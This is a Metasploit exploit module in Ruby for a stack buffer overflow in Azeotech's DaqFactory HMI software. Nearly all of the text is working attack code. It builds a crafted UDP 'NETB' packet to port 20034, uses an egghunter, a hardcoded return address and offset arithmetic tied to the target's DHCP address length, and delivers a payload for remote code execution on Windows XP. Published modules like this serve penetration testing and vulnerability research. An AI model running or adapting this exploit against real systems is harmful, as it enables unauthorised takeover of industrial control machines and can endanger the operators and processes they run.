DaqFactory HMI NETB Request Overflow



##

# $Id: daq_factory_bof.rb 13750 2011-09-18 02:45:55Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'DaqFactory HMI NETB Request Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Azeotech's DaqFactory
                product. The specfic vulnerability is triggered when sending a specially crafted
                'NETB' request to port 20034. Exploitation of this vulnerability may take a few
                seconds due to the use of egghunter.  This vulnerability was one of the 14
                releases discovered by researcher Luigi Auriemma.
            },
            'Author'         =>
                [
                    'Luigi Auriemma',  # Initial discovery, crash poc
                    'mr_me <steventhomasseeley[at]gmail.com>',  # msf exploit
                ],

            'Version'        => '$Revision: 13750 $',
            'References'     =>
                [
                    ['URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'    => 600,
                    'BadChars' => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3',
                        {
                            'Ret' => 0x100B9EDF,  # jmp esp PEGRP32A.dll
                            'Offset' => 636,
                        }
                    ],
                ],
            'DisclosureDate' => 'Sep 13 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                # Required for EIP offset
                OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]),
                Opt::RPORT(20034)
            ], self.class)
    end

    def exploit
        connect_udp

        print_status("Trying target #{target.name}...")

        eggoptions ={
            :checksum => false,
            :eggtag => 'scar',
        }

        # Correct the offset according to the 2nd IP (DHCP) length
        iplen = datastore['DHCP'].length

        if iplen == 15
            offset = 78
        elsif iplen == 14
            offset = 79
        elsif iplen == 13
            offset = 80
        elsif iplen == 12
            offset = 81
        elsif iplen == 11
            offset = 82
        elsif iplen == 10
            offset = 83
        elsif iplen == 9
            offset = 84
        elsif iplen == 8
            offset = 85
        elsif iplen == 7
            offset = 86
        elsif iplen == 6
            offset = 87
        # attack class A ip, slightly unlikly, but just in case.
        elsif iplen == 5
            offset = 88    
        end    

        if offset >= 80
            pktoffset = offset - 80
            finaloffset = target['Offset']-pktoffset
        elsif offset <= 79
            pktoffset = 80 - offset
            finaloffset = target['Offset']+pktoffset
        end

        # springboard onto our unmodified payload
        p = Rex::Arch::X86.jmp(750) + payload.encoded
        hunter,egg = generate_egghunter(p, payload_badchars, eggoptions)

        sploit  = "NETB"  # NETB request overflow
        sploit << rand_text_alpha_upper(233)
        sploit << "\x00"  # part of the packet structure
        sploit << rand_text_alpha_upper(offset)  # include the offset for the DHCP address
        sploit << make_nops(2)
        sploit << hunter
        sploit << rand_text_alpha_upper(52-hunter.length-2)
        sploit << [target.ret].pack("V")
        sploit << rand_text_alpha_upper(12)
        sploit << Rex::Arch::X86.jmp_short(-70)
        sploit << egg
        # packetlen needs to be adjusted to a max of 0x400 as per advisory
        sploit << rand_text_alpha_upper(finaloffset-egg.length)

        # The use of rand_text_alpha_upper() ensures we always get the same length for the
        # first IP address. See the following for more details:
        # http://dev.metasploit.com/redmine/issues/5453
        sploit[12,4] = rand_text_alpha_upper(4)

        udp_sock.put(sploit)

        handler
        disconnect_udp
    end

end